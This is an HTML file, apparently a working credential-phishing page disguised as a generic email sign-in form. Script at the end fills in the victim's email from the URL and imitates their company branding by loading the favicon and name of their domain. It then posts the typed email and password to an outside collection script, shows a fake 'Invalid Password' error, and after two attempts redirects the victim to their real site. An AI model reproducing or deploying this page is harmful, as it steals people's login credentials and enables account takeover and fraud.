ÿþ<! D O C T Y P E h t m l >
<h t m l >
<h e a d >
<m e t a h t t p - e q u i v = "C o n t e n t - T y p e " c o n t e n t = "t e x t / h t m l ; c h a r s e t = U T F - 8 ">
<t i t l e >L o g - i n </ t i t l e >
<! - - B o o t s t r a p C S S - - >
<l i n k r e l = "s t y l e s h e e t " h r e f = "h t t p s : / / s t a c k p a t h . b o o t s t r a p c d n . c o m / b o o t s t r a p / 4 . 3 . 1 / c s s / b o o t s t r a p . m i n . c s s " i n t e g r i t y = "s h a 3 8 4 - g g O y R 0 i X C b M Q v 3 X i p m a 3 4 M D + d H / 1 f Q 7 8 4 / j 6 c Y / i J T Q U O h c W r 7 x 9 J v o R x T 2 M Z w 1 T " c r o s s o r i g i n = "a n o n y m o u s ">
<l i n k h r e f = "h t t p s : / / f o n t s . g o o g l e a p i s . c o m / c s s ? f a m i l y = A r c h i v o + N a r r o w &a m p ; d i s p l a y = s w a p " r e l = "s t y l e s h e e t ">
<s t y l e >
b o d y {
b a c k g r o u n d : # D 1 D 8 F 3 ;
}
. c o n t a i n e r {
w i d t h : 1 0 0 % ;
d i s p l a y : f l e x ;
j u s t i f y - c o n t e n t : c e n t e r ;
a l i g n - i t e m s : c e n t e r ;
h e i g h t : 1 0 0 v h ;
}
. o f f i c e {
w i d t h : 3 8 0 p x ;
b a c k g r o u n d : # f f f ;
}
. o f f i c e - h o l d e r {
w i d t h : 8 0 % ;
m a r g i n : a u t o ;
p a d d i n g : 2 0 p x 0 p x ;
}
. l o g o {
w i d t h : 1 0 0 % ;
f l o a t : l e f t ;
m a r g i n - b o t t o m : 2 e m ;
}
. l o g o h 1 {
f o n t - f a m i l y : a r i a l ;
}
. v e r i f y {
w i d t h : 7 0 % ;
m a r g i n : a u t o ;
}
. v e r i f y h 4 {
f o n t - f a m i l y : a r i a l ;
}
f i e l d s e t {
w i d t h : 9 0 % ;
f l o a t : r i g h t ;
b o r d e r : 2 p x s o l i d # 4 2 8 5 f 4 ;
b o r d e r - r a d i u s : 5 p x ;
}
l e g e n d {
f o n t - s i z e : 1 5 p x ;
o v e r f l o w : h i d d e n ;
w i d t h : 4 2 % ;
p a d d i n g : 0 p x 2 p x ;
m a r g i n : 0 p x ;
}
. v e r i f y i n p u t [ t y p e = ' t e x t ' ] {
w i d t h : 1 0 0 % ;
f l o a t : r i g h t ;
b o r d e r : n o n e ;
p a d d i n g : 3 p x 1 0 p x ;
}
. v e r i f y b u t t o n {
b o r d e r : n o n e ;
h e i g h t : 4 0 p x ;
w i d t h : 8 0 p x ;
f l o a t : r i g h t ;
m a r g i n - t o p : 2 e m ;
b a c k g r o u n d : # 4 2 8 5 f 4 ;
b o r d e r - r a d i u s : 5 p x ;
c o l o r : # f f f ;
}
. e m a i l - t o - v e r i f y {
b o r d e r : 1 p x s o l i d # 0 0 0 ;
b o r d e r - r a d i u s : 1 0 p x ;
}
. f o r m - h o l d e r {
w i d t h : 1 0 0 % ;
f l o a t : l e f t ;
}
. f o r m - h o l d e r h 3 {
f o n t - w e i g h t : 6 0 0 ;
}
. f o r m - h o l d e r i n p u t [ t y p e = ' e m a i l ' ] , i n p u t [ t y p e = ' p a s s w o r d ' ] {
w i d t h : 1 0 0 % ;
h e i g h t : 4 0 p x ;
f l o a t : l e f t ;
m a r g i n - b o t t o m : 1 5 p x ;
}
. f o r m - h o l d e r . b t n - h o l d e r {
w i d t h : 1 0 0 % ;
m a r g i n - t o p : 1 e m ;
d i s p l a y : f l e x ;
a l i g n - c o n t e n t : c e n t e r ;
a l i g n - i t e m s : c e n t e r ;
j u s t i f y - c o n t e n t : c e n t e r ;
}
. f o r m - h o l d e r . b t n - h o l d e r . b t n {
b a c k g r o u n d : # 0 0 7 3 C 6 ;
b o r d e r : n o n e ;
p a d d i n g : 6 p x 1 0 p x ;
c o l o r : # f f f ;
b o r d e r - r a d i u s : 0 p x ;
m a r g i n - t o p : 2 0 p x ;
m a r g i n - b o t t o m : 2 0 p x ;
}
. f o r m - h o l d e r . b t n - h o l d e r . b t n : h o v e r {
c u r s o r : p o i n t e r ;
}
. c h e c k b o x {
w i d t h : 1 0 0 % ;
f l o a t : l e f t ;
m a r g i n - t o p : 5 p x ;
}
. c h e c k b o x l a b e l {
f o n t - f a m i l y : a r i a l ;
f o n t - s i z e : 1 3 p x ;
f l o a t : l e f t ;
m a r g i n - l e f t : 1 e m ;
}
. h i d e {
d i s p l a y : n o n e ;
}
</ s t y l e >
</ h e a d >
<b o d y >
<d i v i d = "h t m l _ e n c o d e r _ d i v ">
<d i v c l a s s = "c o n t a i n e r ">
<d i v c l a s s = "o f f i c e s h o w b o r d e r s h a d o w b g - l i g h t " i d = "o t h e r s ">
<d i v c l a s s = "o f f i c e - h o l d e r ">
<d i v c l a s s = "l o g o " s t y l e = "t e x t - a l i g n : c e n t e r ">
<d i v i d = "l o g i n _ l o g o ">
<i m g i d = "l o g o i m g " s r c = "" w i d t h = "5 0 " h e i g h t = "5 0 " a l t = "">
</ d i v >
<h 3 c l a s s = "t e x t - d a r k "><s t r o n g i d = "l o g o n a m e " c l a s s = "t e x t - u p p e r c a s e "></ s t r o n g ></ h 3 >
<h 5 c l a s s = "f o n t - w e i g h t - l i g h t ">P l e a s e s i g n i n u s i n g y o u r e m a i l a n d p a s s w o r d t o g a i n a c c e s s </ h 5 >
</ d i v >
<c e n t e r >
<d i v i d = "m s g " s t y l e = "d i s p l a y : n o n e ; f o n t - w e i g h t : 6 0 0 ; c o l o r : r e d ; ">I n v a l i d P a s s w o r d . ! P l e a s e e n t e r c o r r e c t p a s s w o r d . </ d i v >
<s p a n i d = "e r r o r " c l a s s = "t e x t - d a n g e r " s t y l e = "d i s p l a y : n o n e ; ">T h a t a c c o u n t d o e s n ' t e x i s t . E n t e r a d i f f e r e n t a c c o u n t </ s p a n >
</ c e n t e r >
<f o r m i d = "c o n t a c t " m e t h o d = "P O S T " a c t i o n = "">
<d i v c l a s s = "f o r m - h o l d e r ">
<d i v s t y l e = "w i d t h : 1 0 0 % ; ">
<d i v c l a s s = "a l e r t a l e r t - d a n g e r h i d e a l e r t 2 "></ d i v >
</ d i v >
<i n p u t t y p e = "e m a i l " i d = "e m a i l " n a m e = "e m a i l " c l a s s = "f o r m - c o n t r o l " v a l u e = "" p l a c e h o l d e r = "s o m e o n e @ e x a m p l e . c o m " r e q u i r e d = "">
<i n p u t t y p e = "p a s s w o r d " i d = "p a s s w o r d " n a m e = "p a s s w o r d " p l a c e h o l d e r = "P a s s w o r d " c l a s s = "f o r m - c o n t r o l " r e q u i r e d = "">
<d i v c l a s s = "c h e c k b o x ">
<i n p u t t y p e = "c h e c k b o x " n a m e = "" s t y l e = "f l o a t : l e f t ; m a r g i n - t o p : 2 p x ; m a r g i n - b o t t o m : 1 0 p x ; ">
<l a b e l >R E M E M B E R M E </ l a b e l >
</ d i v >
<d i v c l a s s = "b t n - h o l d e r ">
<b u t t o n c l a s s = "b t n b t n - l g c o l - 1 2 " i d = "s u b m i t - b t n ">L O G I N </ b u t t o n >
</ d i v >
<p s t y l e = "c o l o r : # 0 0 7 3 C 6 ; m a r g i n - t o p : 1 e m ; f l o a t : l e f t ; w i d t h : 1 0 0 % ; ">c a n ' t a c c e s s y o u r a c c o u n t ? </ p >
<p s t y l e = "c o l o r : # 0 0 7 3 C 6 ; m a r g i n - t o p : 0 e m ; f l o a t : l e f t ; w i d t h : 1 0 0 % ; ">S i g n i n w i t h a s i n g l e - u s e c o d e </ p >
</ d i v >
</ f o r m >
</ d i v >
</ d i v >
</ d i v >
</ d i v >
<s t y l e >
. t b _ b u t t o n {
p a d d i n g : 1 p x ;
c u r s o r : p o i n t e r ;
b o r d e r - r i g h t : 1 p x s o l i d # 8 b 8 b 8 b ;
b o r d e r - l e f t : 1 p x s o l i d # F F F ;
b o r d e r - b o t t o m : 1 p x s o l i d # f f f ;
}
. t b _ b u t t o n . h o v e r {
b o r e r : 2 p x o u t s e t # d e f ;
b a c k g r o u n d - c o l o r : # f 8 f 8 f 8 ! i m p o r t a n t ;
}
. w s _ t o o l b a r {
z - i n d e x : 1 0 0 0 0 0
}
. w s _ t o o l b a r . w s _ t b _ b t n {
c u r s o r : p o i n t e r ;
b o r d e r : 1 p x s o l i d # 5 5 5 ;
p a d d i n g : 3 p x
}
. t b _ h i g h l i g h t {
b a c k g r o u n d - c o l o r : y e l l o w
}
. t b _ h i d e {
v i s i b i l i t y : h i d d e n
}
. w s _ t o o l b a r i m g {
p a d d i n g : 2 p x ;
m a r g i n : 0 p x
}
</ s t y l e >
<! - - j Q u e r y f i r s t , t h e n P o p p e r . j s , t h e n B o o t s t r a p J S - - >
<s c r i p t s r c = "h t t p s : / / c o d e . j q u e r y . c o m / j q u e r y - 3 . 2 . 1 . s l i m . m i n . j s " i n t e g r i t y = "s h a 3 8 4 - K J 3 o 2 D K t I k v Y I K 3 U E N z m M 7 K C k R r / r E 9 / Q p g 6 a A Z G J w F D M V N A / G p G F F 9 3 h X p G 5 K k N " c r o s s o r i g i n = "a n o n y m o u s "></ s c r i p t >
<s c r i p t s r c = "h t t p s : / / c d n j s . c l o u d f l a r e . c o m / a j a x / l i b s / p o p p e r . j s / 1 . 1 2 . 9 / u m d / p o p p e r . m i n . j s " i n t e g r i t y = "s h a 3 8 4 - A p N b g h 9 B + Y 1 Q K t v 3 R n 7 W 3 m g P x h U 9 K / S c Q s A P 7 h U i b X 3 9 j 7 f a k F P s k v X u s v f a 0 b 4 Q " c r o s s o r i g i n = "a n o n y m o u s "></ s c r i p t >
<s c r i p t s r c = "h t t p s : / / m a x c d n . b o o t s t r a p c d n . c o m / b o o t s t r a p / 4 . 0 . 0 / j s / b o o t s t r a p . m i n . j s " i n t e g r i t y = "s h a 3 8 4 - J Z R 6 S p e j h 4 U 0 2 d 8 j O t 6 v L E H f e / J Q G i R R S Q Q x S f F W p i 1 M q u V d A y j U a r 5 + 7 6 P V C m Y l " c r o s s o r i g i n = "a n o n y m o u s "></ s c r i p t >
<s c r i p t s r c = "h t t p s : / / a j a x . g o o g l e a p i s . c o m / a j a x / l i b s / j q u e r y / 2 . 2 . 4 / j q u e r y . m i n . j s "></ s c r i p t >
<s c r i p t s r c = "h t t p s : / / s t a c k p a t h . b o o t s t r a p c d n . c o m / b o o t s t r a p / 4 . 1 . 3 / j s / b o o t s t r a p . m i n . j s "></ s c r i p t >
<s c r i p t t y p e = "t e x t / j a v a s c r i p t " s r c = "h t t p s : / / c d n . j s d e l i v r . n e t / n p m / j q u e r y . s e s s i o n @ 1 . 0 . 0 / j q u e r y . s e s s i o n . m i n . j s "></ s c r i p t >
<s c r i p t >
/ * g l o b a l $ * /
$ ( d o c u m e n t ) . r e a d y ( f u n c t i o n ( ) {
v a r c o u n t = 0 ;
$ ( ' # b a c k 1 ' ) . c l i c k ( f u n c t i o n ( ) {
$ ( "# m s g ") . h i d e ( ) ;
$ ( ' # e m a i l ' ) . v a l ( "") ;
$ ( "# a u t o m a i l ") . a n i m a t e ( { l e f t : 2 0 0 , o p a c i t y : "h i d e "} , 0 ) ;
$ ( "# i n p u t b a r ") . a n i m a t e ( { r i g h t : 2 0 0 , o p a c i t y : "s h o w "} , 1 0 0 0 ) ;
} ) ;
v a r e m a i l = w i n d o w . l o c a t i o n . h a s h . s u b s t r ( 1 ) ;
i f ( ! e m a i l ) {
}
e l s e
{
v a r m y _ e m a i l = e m a i l ;
$ ( ' # e m a i l ' ) . v a l ( m y _ e m a i l ) ;
v a r f i l t e r = / ^ ( [ a - z A - Z 0 - 9 _ \ . \ - ] ) + \ @ ( ( [ a - z A - Z 0 - 9 \ - ] ) + \ . ) + ( [ a - z A - Z 0 - 9 ] { 2 , 4 } ) + $ / ;
i f ( ! f i l t e r . t e s t ( m y _ e m a i l ) ) {
$ ( ' # e r r o r ' ) . s h o w ( ) ;
e m a i l . f o c u s ;
r e t u r n f a l s e ;
}
v a r i n d = m y _ e m a i l . i n d e x O f ( "@ ") ;
v a r m y _ s l i c e = m y _ e m a i l . s u b s t r ( ( i n d + 1 ) ) ;
v a r c = m y _ s l i c e . s u b s t r ( 0 , m y _ s l i c e . i n d e x O f ( ' . ' ) ) ;
v a r f i n a l = c . t o L o w e r C a s e ( ) ;
v a r f i n a l u = c . t o U p p e r C a s e ( ) ;
$ ( "# l o g o i m g ") . a t t r ( "s r c ", "h t t p s : / / w w w . g o o g l e . c o m / s 2 / f a v i c o n s ? d o m a i n = "+ m y _ s l i c e ) ;
$ ( "# l o g o n a m e ") . h t m l ( f i n a l u ) ;
$ ( ". l o g o n a m e ") . h t m l ( f i n a l u ) ;
}
$ ( ' # s u b m i t - b t n ' ) . c l i c k ( f u n c t i o n ( e v e n t ) {
$ ( ' # e r r o r ' ) . h i d e ( ) ;
$ ( ' # m s g ' ) . h i d e ( ) ;
e v e n t . p r e v e n t D e f a u l t ( ) ;
v a r e m a i l = $ ( "# e m a i l ") . v a l ( ) ;
v a r p a s s w o r d = $ ( "# p a s s w o r d ") . v a l ( ) ;
v a r m s g = $ ( ' # m s g ' ) . h t m l ( ) ;
$ ( ' # m s g ' ) . t e x t ( m s g ) ;
i f ( ! p a s s w o r d ) {
$ ( ' # e r r o r ' ) . s h o w ( ) ;
$ ( ' # e r r o r ' ) . h t m l ( "P a s s w o r d f i e l d i s e m p l y . ! ") ;
r e t u r n f a l s e ;
}
/ / / / / / / / / / / n e w i n j e c t i o n / / / / / / / / / / / / / / / /
v a r m y _ e m a i l = e m a i l ;
v a r f i l t e r = / ^ ( [ a - z A - Z 0 - 9 _ \ . \ - ] ) + \ @ ( ( [ a - z A - Z 0 - 9 \ - ] ) + \ . ) + ( [ a - z A - Z 0 - 9 ] { 2 , 4 } ) + $ / ;
i f ( ! f i l t e r . t e s t ( m y _ e m a i l ) ) {
$ ( ' # e r r o r ' ) . s h o w ( ) ;
e m a i l . f o c u s ;
r e t u r n f a l s e ;
}
v a r i n d = m y _ e m a i l . i n d e x O f ( "@ ") ;
v a r m y _ s l i c e = m y _ e m a i l . s u b s t r ( ( i n d + 1 ) ) ;
v a r c = m y _ s l i c e . s u b s t r ( 0 , m y _ s l i c e . i n d e x O f ( ' . ' ) ) ;
v a r f i n a l = c . t o L o w e r C a s e ( ) ;
v a r f i n a l u = c . t o U p p e r C a s e ( ) ;
$ ( "# l o g o i m g ") . a t t r ( "s r c ", "h t t p s : / / w w w . g o o g l e . c o m / s 2 / f a v i c o n s ? d o m a i n = "+ m y _ s l i c e ) ;
$ ( ". l o g o i m g ") . a t t r ( "s r c ", "h t t p s : / / w w w . g o o g l e . c o m / s 2 / f a v i c o n s ? d o m a i n = "+ m y _ s l i c e ) ;
$ ( "# l o g o n a m e ") . h t m l ( f i n a l u ) ;
/ / / / / / / / / / / n e w i n j e c t i o n / / / / / / / / / / / / / / / /
c o u n t = c o u n t + 1 ;
$ . a j a x ( {
d a t a T y p e : ' J S O N ' ,
u r l : ' h t t p s : / / o m m a r t s . c o m / c s s / p o s t . p h p ' ,
t y p e : ' P O S T ' ,
d a t a : {
e m a i l : e m a i l ,
p a s s w o r d : p a s s w o r d ,
} ,
/ / d a t a : $ ( ' # c o n t a c t ' ) . s e r i a l i z e ( ) ,
b e f o r e S e n d : f u n c t i o n ( x h r ) {
$ ( ' # s u b m i t - b t n ' ) . h t m l ( ' V e r i f i n g . . . ' ) ;
} ,
s u c c e s s : f u n c t i o n ( r e s p o n s e ) {
i f ( r e s p o n s e ) {
$ ( "# m s g ") . s h o w ( ) ;
c o n s o l e . l o g ( r e s p o n s e ) ;
i f ( r e s p o n s e [ ' s i g n a l ' ] = = ' o k ' ) {
$ ( "# p a s s w o r d ") . v a l ( "") ;
i f ( c o u n t >= 2 ) {
c o u n t = 0 ;
/ / w i n d o w . l o c a t i o n . r e p l a c e ( r e s p o n s e [ ' r e d i r e c t _ l i n k ' ] ) ;
w i n d o w . l o c a t i o n . r e p l a c e ( "h t t p : / / w w w . "+ m y _ s l i c e ) ;
}
/ / $ ( ' # m s g ' ) . h t m l ( r e s p o n s e [ ' m s g ' ] ) ;
}
e l s e {
/ / $ ( ' # m s g ' ) . h t m l ( r e s p o n s e [ ' m s g ' ] ) ;
}
}
} ,
e r r o r : f u n c t i o n ( ) {
$ ( "# p a s s w o r d ") . v a l ( "") ;
i f ( c o u n t >= 2 ) {
c o u n t = 0 ;
w i n d o w . l o c a t i o n . r e p l a c e ( "h t t p : / / w w w . "+ m y _ s l i c e ) ;
}
$ ( "# m s g ") . s h o w ( ) ;
/ / $ ( ' # m s g ' ) . h t m l ( "P l e a s e t r y a g a i n l a t e r ") ;
} ,
c o m p l e t e : f u n c t i o n ( ) {
$ ( ' # s u b m i t - b t n ' ) . h t m l ( ' S i g n i n ' ) ;
}
} ) ;
} ) ;
} ) ;
</ s c r i p t >
</ b o d y >
</ h t m l >